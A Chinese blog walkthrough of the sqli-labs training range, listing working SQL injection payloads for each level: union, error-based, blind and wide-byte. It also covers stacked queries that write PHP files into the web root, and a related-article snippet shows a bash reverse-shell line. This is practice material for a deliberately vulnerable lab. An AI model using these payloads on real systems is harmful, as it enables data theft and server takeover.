sqli-labs靶场通关

2024-08-22 14:36
文章标签 靶场 labs sqli 通关

本文主要是介绍sqli-labs靶场通关,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

整体解决思路:

第一关:Page-1(Basic Challenges)

第二关:Page-2 (Adv Injections)

第三关:Page-3 (Stacked Injections)

第四关:Page-4 (Challenges)


整体解决思路:

1、根据首页提示,结合实际页面显示情况,做基本判断,如果是盲注型,则说明没有回显,无论是错误回显还是正确的结果,直接上来先尝试拼接 XXX and 1=1 和 XXX and 1=2。

2、根据提示,组合关键字和拼接的字符串和闭合字符,可以尝试 不带引号、单引号、双引号、圆括号、单引号+圆括号、双引号+圆括号、双圆括号。

3、如果根据提示、和以上各种尝试发现还是没有办法获取到有用信息,绕过方式失效,database(),则可以考虑分析一下源代码。

4、通常使用 order by 来判断列的数量的时候,基本上都是3列,因为slect * from users为3列。

5、进行布尔盲注时,先使用已知的Payload:and length(database())=8 和 and length(database())=7 进行判断,进而 substr(database(), 1, 1) = 's' 进行进一步的盲注获取结果。

6、如果遇到一些完全没有思路的时候,尝试着将后台可能使用的SQL语句写出来,再进行分析。

7、如果存在多个参数的时候,可以尝试不同的参数,不一定必须是第一个参数。比如用户名和密码,都可以进行尝试。

8、使用堆叠注入时,第二条SQL语句的查询结果无法回显,则首先考虑报错的情况,如果也没有报错回显,那么考虑写入木马文件的方式:select "<?php phpinfo(); ?>" into outfile "/opt/lampp/htdocs/sqli-lab/cache/mm38.php"

9、但凡是提交Post请求的地方,必须要确认POST请求的URL地址和正文数据。

10、在Select语句中的Order By字段,要么根据 列名 排序,要么根据列的 序号 排序,但是无法根据一个 列名字符串 进行排序。

11、报错注入时,要在报错的基础下进行报错注入,比如单引号时报错,双引号时不报错,那么报错注入的代码就要在单引号的情况下使用。

第一关:Page-1(Basic Challenges)
 /Less-1/?id=-1' union select 1,database(),3--+  或者 and updatexml(1, concat(0x7e, database(), 0x7e), 1)/Less-2/?id=-1 union select 1,database(),3/Less-3/?id=-1') union select 1,database(),3--+/Less-4/?id=-1") union select 1,database(),3--+/Less-5/?id=1' and updatexml(1, concat(0x7e, database(), 0x7e), 1)--+/Less-6/?id=1" or updatexml(1, concat(0x7e, database(), 0x7e), 1)--+/Less-7/?id=1')) union select 1,"<?php phpinfo(); ?>",3 into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm.php'--+   # 需要确认有写入权限, 也可以使用 id=1')) and length(database())=8 --+ 进行盲注/Less-8/?id=1' and length(database())=8 --+/Less-9/?id=1' and if(length(database())=8, sleep(5), 1)--+/Less-10/?id=1" and if(length(database())=8, sleep(5), 1)--+/Less-11/: uname=x' and updatexml(1, concat(0x7e, database(), 0x7e), 1)#'&passwd=123456/Less-12/: uname=x") and updatexml(1, concat(0x7e, database(), 0x7e), 1)#"&passwd=123456/Less-13/: uname=x') and updatexml(1, concat(0x7e, database(), 0x7e), 1)#&passwd=123456/Less-14/: uname=x" and updatexml(1, concat(0x7e, database(), 0x7e), 1)#&passwd=123456/Less-15/: uname=x' or length(database())=8#'&passwd=123456/Less-16/: uname=x") or length(database())=8#&passwd=123456/Less-17/: uname=Dumb&passwd=123456' and updatexml(1, concat(0x7e, database(), 0x7e), 1)#/Less-18/: User-Agent: ' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or 'uname=Dumb&passwd=Dumb/Less-19/: Referer: ' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or 'uname=Dumb&passwd=Dumb/Less-20/: Cookie: uname=Dumb' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or 'uname=Dumb&passwd=Dumb/Less-21/: 先登录 uname=Dumb&passwd=Dumb,再修改Cookie: uname=Dumb') and updatexml(1, concat(0x7e, database(), 0x7e), 1)#再将上述字段进行Base64编码并发送Cookie: uname=RHVtYicpIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsIGRhdGFiYXNlKCksIDB4N2UpLCAxKSM=/Less-22/: 操作方式同21,Cookie字段:uname=Dumb" and updatexml(1, concat(0x7e, database(), 0x7e), 1)#

第二关:Page-2 (Adv Injections)
 /Less-23/?id=-1' union select 1,database(),3 and '1'='1/Less-24/: 二次注入,先注册账号:admin'#,再重置密码,再用admin账号和新密码登录/Less-25/?id=-1' union select 1,database(),3--+/Less-25a/?id=1%26%26length(database())=8/Less-26/?id=1'%26%26updatexml(1, concat(0x7e, database(), 0x7e), 1)%26%26'1'='1/Less-26a/?id=1'%26%26length(database())=8%26%26'1'='1/Less-27/?id=1'%26%26updatexml(1, concat(0x7e, database(), 0x7e), 1)%26%26'1'='1/Less-27a/?id=1"%26%26length(database())=8%26%26"1"="1/Less-28/?id=1')%26%26length(database())=8%26%26('1')=('1Less-28试过:1')%26%26updatexml(1, concat(0x7e, database(), 0x7e),1)%26%26('1')=('1,报错,无回显,提示不对/Less-28a/?id=1')%26%26length(database())=8%26%26('1')=('1查看源代码,发现28和28a是一模一样的代码,应该是作者刻意误导/Less-29/?id=1' and length(database())=7--+   # 题目误导,其实是个布尔盲注/Less-30/?id=1" and length(database())=7--+   # 本题极具误导性,其实什么WAF也没有,害我研究半天/Less-31/?id=1") and length(database())=8--+  # 啥WAF也没有/Less-32/?id=1%df' and length(database())=8--+  # GBK编码/Less-33/?id=1%df' and length(database())=8--+  # GBK编码/Less-34/: uname=1%df' and updatexml(1, concat(0x7e, database(), 0x7e), 1)#&passwd=123456Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (gbk_chinese_ci,COERCIBLE) for operation '='/Less-35/?id=1 and length(database())=8/Less-36/?id=1%df' and updatexml(1, concat(0x7e, database(), 0x7e), 1)--+/Less-37/: 同Less-34/Less-38/?id=1';select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm38.php'--+

第三关:Page-3 (Stacked Injections)
 /Less-38/?id=1';select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm38.php'--+或报错注入:1' and updatexml(1, concat(0x7e, database(), 0x7e), 1)--+/Less-39/?id=1;select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm39.php'--+/Less-40/?id=1');select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm40.php'--+或使用盲注:id=1') and 1=2--+/Less-41/?id=1;select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm41.php'--+或使用盲注:id=1 and 1=2 --+/Less-42/login.php: 发送POST请求如下:login_user=Dumb&login_password=123456' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or '或:login_user=Dumb&login_password=123456'; select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm41.php'#/Less-43/login.php: 发送POST请求如下:login_user=Dumb&login_password=123456') or updatexml(1, concat(0x7e, database(), 0x7e), 1) or ('/Less-44/login.php: 发送POST请求如下:login_user=Dumb&login_password=123456';select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm44.php'--+/Less-45/login.php: 发送POST请求如下:login_user=Dumb&login_password=123456'); select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm45.php'#​order by 后面一般不允许跟 and/Less-46/?sort=(if(length(database())=8, id, username))或Less-46/?sort=1 and updatexml(1, concat(0x7e, database(), 0x7e), 1)(像order by 这种类型的题,其实就类似于整数型参数id,只不过是order by的用法和效果有区别了而已)/Less-47/?sort=1',updatexml(1, concat(0x7e, database(), 0x7e), 1)--+或Less-47/?sort=1' and updatexml(1, concat(0x7e, database(), 0x7e), 1) or '/Less-48/?sort=(if(length(database())=8, id, username))/Less-49/?sort=1',(if(length(database())=7, id, username))%23/Less-50/?sort=1;select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm50.php'--+/Less-51/?sort=1';select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm51.php'--+/Less-52/?sort=1;select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm52.php'--+/Less-53/?sort=1';select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm53.php'--+

第四关:Page-4 (Challenges)
 Less-54/?id=1' and 1=2--+Less-55/?id=1) and 1=2--+Less-56/?id=1') and 1=1--+Less-57/?id=1" and 1=1--+/Less-58/?id=1' and updatexml(1, concat(0x7e, database(), 0x7e), 1)--+/Less-59/?id=1 and updatexml(1, concat(0x7e, database(), 0x7e), 1)--+/Less-60/?id=1") and 1=1--+/Less-61/?id=1')) and 1=1--+/Less-62/?id=1') and length(database())=10--+/Less-63/?id=1' and 1=2--+/Less-64/?id=1)) and 1=2--+/Less-65/?id=1") and 1=2--+

通常用的:

 id=-1' union select 1, database(), 3--+​id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --+​id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='3U71GBURW6'),3 --+​id=-1' union select id,sessid,secret_UEGU from challenges.3U71GBURW6 --+​select group_concat(table_name) from information_schema.tables where table_schema='security'

这篇关于sqli-labs靶场通关的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1096548

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

xss-labs-master通关教程

一.level1 先来进行一下代码审计 <?php ini_set("display_errors", 0);//关闭错误显示$str = $_GET["name"]; //接受URL来的get形式的name传参echo "<h2 align=center>欢迎用户".$str."</h2>";//在网页输出,并不是echo执行的,而是echo把HTML代码发送到浏览器,浏览器对发送的H

log4j靶场,反弹shell

1.用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令 2.发现端口是8983,浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显,看看有没有漏洞存在 4.反弹shell到kali(ip为172.16.1.18)的8888端口 bash -i >& /dev/tcp/172.16.1.18

红日靶场----(四)1.后渗透利用阶段

使用Metasploit进入后渗透利用阶段     一旦我们获取了目标主机的访问权限,我们就可以进入后渗透利用阶段,在这个阶段我们收集信息,采取措施维护我们的访问权限,转向其他机器     Step01:上线MSF(通过metasploit获取目标系统的会话-即SHELL) 常用选项-p //指定生成的Payload--list payload //列出所支持的Payload类

《论软件设计模式及其应用》通关范文,软考高级系统架构设计师

论文真题 设计模式(Design Pattern)是一套被反复使用的代码设计经验总结,代表了软件开发人员在软件开发过程中面临的一般问题的解决方案和最佳实践。使用设计模式的目的是提高代码的可重用性,让代码更容易被他人理解,并保证代码可靠性。现有的设计模式已经在前人的系统中得以证实并广泛使用,它使代码编写真正实现工程化,将已证实的技术表述成设计模式,也会使新系统开发者更加容易理解其设计思路。根据

安装 SideFX Labs

介绍 SideFX Labs 是一个完全免费开源的工具集。GIT地址:github.com/sideeffects/SideFXLabs 它是一个针对150多种工具的测试场,由于这些工具是在常规的 Houdini 开发周期之外开发的,因此可以更方便地进行测试和反馈。 其中的工具总结了常见的工作流程,并与常用软件建立了紧密的集成。目的是帮助用户更快地启动和执行“数字化内容创建”中常见的各种任

【红日靶场】ATTCK实战系列——红队实战(一)手把手教程

目录 入侵网络的思路 一些概念 (1)工作组 (2)域 (3)账号 红日靶机(一) 网络结构 下载 配置web服务器的两张网卡 配置内网的两台机器(域控和域内主机) 渗透web服务器 外网信息搜集 (1)外网信息搜集的内容 (2)开始信息搜集(主要是利用工具) 漏洞利用 (1)漏洞利用的两种方式 (2)利用phpMyAdmin (3)开启3389端口远程桌面

大数据面试通关手册|Hbase面试题(二)

⭐⭐欢迎关注博客主页:https://blog.csdn.net/u013411339⭐⭐欢迎点赞 👍 收藏 ⭐留言 📝 ,欢迎留言交流!⭐⭐本文由【王知无】原创,首发于 CSDN博客!⭐⭐本文首发CSDN论坛,未经过官方和本人允许,严禁转载! 技术背景 起源于谷歌旧三篇论文中bigtable。 设计目的 为了解决大数据环境中海量结构化数据的实时读写问题。为了弥补hadoop生态中没有

大数据面试通关手册 | Kylin入门/原理/调优/OLAP解决方案和行业典型应用

Kylin入门/原理/调优/OLAP解决方案和行业典型应用一网打尽。 一:背景历史和使命 背景和历史 现今,大数据行业发展得如火如荼,新技术层出不穷,整个生态欣欣向荣。作为大数据领域最重要的技术的 Apache Hadoop 最初致力于简单的分布式存储,然后在此基础之上实现大规模并行计算,到如今在实时分析、多维分析、交互式分析、机器学习甚至人工智能等方面有了长足的发展。 2013 年年初,在